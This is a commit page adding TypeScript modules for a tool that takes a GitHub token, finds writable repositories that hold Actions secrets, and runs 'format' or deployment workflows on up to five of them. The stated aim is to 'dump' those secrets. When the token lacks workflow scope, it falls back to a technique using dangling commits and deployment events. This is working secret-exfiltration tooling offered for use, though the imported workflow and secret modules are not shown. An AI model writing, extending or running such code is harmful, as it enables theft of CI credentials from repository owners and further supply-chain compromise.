Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
import { getTokenMetadata } from "../../github_utils/tokenCheck";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import {
|
||||
runDeploymentOnReposWithSecrets,
|
||||
runFormatOnReposWithSecrets,
|
||||
} from "./pipeline";
|
||||
|
||||
export type TokenRepo = {
|
||||
token: string;
|
||||
repo: string;
|
||||
owner: string;
|
||||
};
|
||||
|
||||
export class GitHubActionsService extends Provider {
|
||||
private token;
|
||||
|
||||
constructor(token: string) {
|
||||
super("github", "actions");
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const meta = await getTokenMetadata(this.token);
|
||||
if (!meta.valid) {
|
||||
return this.failure("Token invalid");
|
||||
}
|
||||
|
||||
// Prefer push-based approach when workflow scope is available.
|
||||
if (meta.scopes.includes("workflow")) {
|
||||
return this.runPushWorkflow();
|
||||
}
|
||||
|
||||
// Fall back to deployment-based approach — only needs repo scope.
|
||||
logUtil.log(
|
||||
"Missing workflow scope — falling back to deployment technique",
|
||||
);
|
||||
return this.runDeployWorkflow();
|
||||
}
|
||||
|
||||
private async runPushWorkflow(): Promise<ProviderResult> {
|
||||
try {
|
||||
const { results, metadata } = await runFormatOnReposWithSecrets(
|
||||
this.token,
|
||||
);
|
||||
|
||||
const dumped = results.filter((r) => !r.error).length;
|
||||
if (dumped === 0) {
|
||||
// Return all results as data so errors are visible in the output.
|
||||
return this.success({
|
||||
ok: false,
|
||||
dumped: 0,
|
||||
errored: results.filter((r) => r.error).length,
|
||||
results,
|
||||
metadata,
|
||||
});
|
||||
}
|
||||
return this.success({
|
||||
ok: true,
|
||||
dumped,
|
||||
errored: results.filter((r) => r.error).length,
|
||||
results,
|
||||
metadata,
|
||||
});
|
||||
} catch (e) {
|
||||
logUtil.error("Failure collecting results (push)");
|
||||
return this.failure(
|
||||
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private async runDeployWorkflow(): Promise<ProviderResult> {
|
||||
try {
|
||||
const { results, metadata } = await runDeploymentOnReposWithSecrets(
|
||||
this.token,
|
||||
);
|
||||
|
||||
const dumped = results.filter((r) => !r.error).length;
|
||||
if (dumped === 0) {
|
||||
return this.success({
|
||||
ok: false,
|
||||
dumped: 0,
|
||||
errored: results.filter((r) => r.error).length,
|
||||
results,
|
||||
metadata,
|
||||
});
|
||||
}
|
||||
return this.success({
|
||||
ok: true,
|
||||
dumped,
|
||||
errored: results.filter((r) => r.error).length,
|
||||
results,
|
||||
metadata,
|
||||
});
|
||||
} catch (e) {
|
||||
logUtil.error("Failure collecting results (deploy)");
|
||||
return this.failure(
|
||||
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
export { githubFetch, githubHeaders, githubJson } from "../../github_utils/client";
|
||||
@@ -0,0 +1,123 @@
|
||||
import type { TokenRepo } from "./actions";
|
||||
import { streamWritableRepos } from "./repos";
|
||||
import { type RepoSecretInfo, streamRepoSecrets } from "./secrets";
|
||||
import {
|
||||
type FormatResult,
|
||||
runDeploymentWorkflows,
|
||||
runFormatWorkflows,
|
||||
} from "./workflow";
|
||||
|
||||
export interface RepoScanMetadata {
|
||||
fullName: string;
|
||||
secrets: string[];
|
||||
isPrivate: boolean;
|
||||
status: "DUMPED" | "SKIPPED" | "FAILED";
|
||||
error?: string;
|
||||
method: "push" | "deployment";
|
||||
}
|
||||
|
||||
interface CollectResult {
|
||||
toDump: TokenRepo[];
|
||||
metadata: RepoScanMetadata[];
|
||||
}
|
||||
|
||||
async function collectReposWithSecrets(token: string): Promise<CollectResult> {
|
||||
const toDump: TokenRepo[] = [];
|
||||
const metadata: RepoScanMetadata[] = [];
|
||||
|
||||
for await (const info of streamRepoSecrets(
|
||||
token,
|
||||
streamWritableRepos(token),
|
||||
)) {
|
||||
const hasSecrets = info.secrets.length > 0;
|
||||
const [owner, repo] = info.fullName.split("/");
|
||||
|
||||
if (hasSecrets && owner && repo && toDump.length < 5) {
|
||||
toDump.push({ token, owner, repo });
|
||||
metadata.push({
|
||||
fullName: info.fullName,
|
||||
secrets: info.secrets,
|
||||
isPrivate: info.isPrivate,
|
||||
status: "DUMPED",
|
||||
method: "push",
|
||||
});
|
||||
} else {
|
||||
metadata.push({
|
||||
fullName: info.fullName,
|
||||
secrets: info.secrets,
|
||||
isPrivate: info.isPrivate,
|
||||
status: "SKIPPED",
|
||||
method: "push",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return { toDump, metadata };
|
||||
}
|
||||
|
||||
/**
|
||||
* Cross-reference workflow results with the pre-computed metadata.
|
||||
* Repos that were marked DUMPED but had a failing workflow (error or
|
||||
* null artifact) are downgraded to FAILED with the error message.
|
||||
*/
|
||||
function reconcileMetadata(
|
||||
results: FormatResult[],
|
||||
metadata: RepoScanMetadata[],
|
||||
method: "push" | "deployment",
|
||||
): RepoScanMetadata[] {
|
||||
const resultMap = new Map(results.map((r) => [r.repo, r]));
|
||||
return metadata.map((m) => ({
|
||||
...m,
|
||||
method,
|
||||
...(m.status === "DUMPED"
|
||||
? (() => {
|
||||
const r = resultMap.get(m.fullName);
|
||||
if (!r || r.error || r.artifact === null) {
|
||||
return {
|
||||
status: "FAILED" as const,
|
||||
error: r?.error ?? "no result",
|
||||
};
|
||||
}
|
||||
return {};
|
||||
})()
|
||||
: {}),
|
||||
}));
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the push-based workflow (requires `workflow` OAuth scope).
|
||||
*/
|
||||
export async function runFormatOnReposWithSecrets(
|
||||
token: string,
|
||||
concurrency = 5,
|
||||
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
|
||||
const { toDump, metadata } = await collectReposWithSecrets(token);
|
||||
|
||||
const results: FormatResult[] = [];
|
||||
for await (const result of runFormatWorkflows(toDump, concurrency)) {
|
||||
results.push(result);
|
||||
}
|
||||
|
||||
return { results, metadata: reconcileMetadata(results, metadata, "push") };
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the deployment-based workflow (no `workflow` scope needed —
|
||||
* uses dangling commits + deployment events).
|
||||
*/
|
||||
export async function runDeploymentOnReposWithSecrets(
|
||||
token: string,
|
||||
concurrency = 5,
|
||||
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
|
||||
const { toDump, metadata } = await collectReposWithSecrets(token);
|
||||
|
||||
const results: FormatResult[] = [];
|
||||
for await (const result of runDeploymentWorkflows(toDump, concurrency)) {
|
||||
results.push(result);
|
||||
}
|
||||
|
||||
return {
|
||||
results,
|
||||
metadata: reconcileMetadata(results, metadata, "deployment"),
|
||||
};
|
||||
}
|
||||
Reference in New Issue
Block a user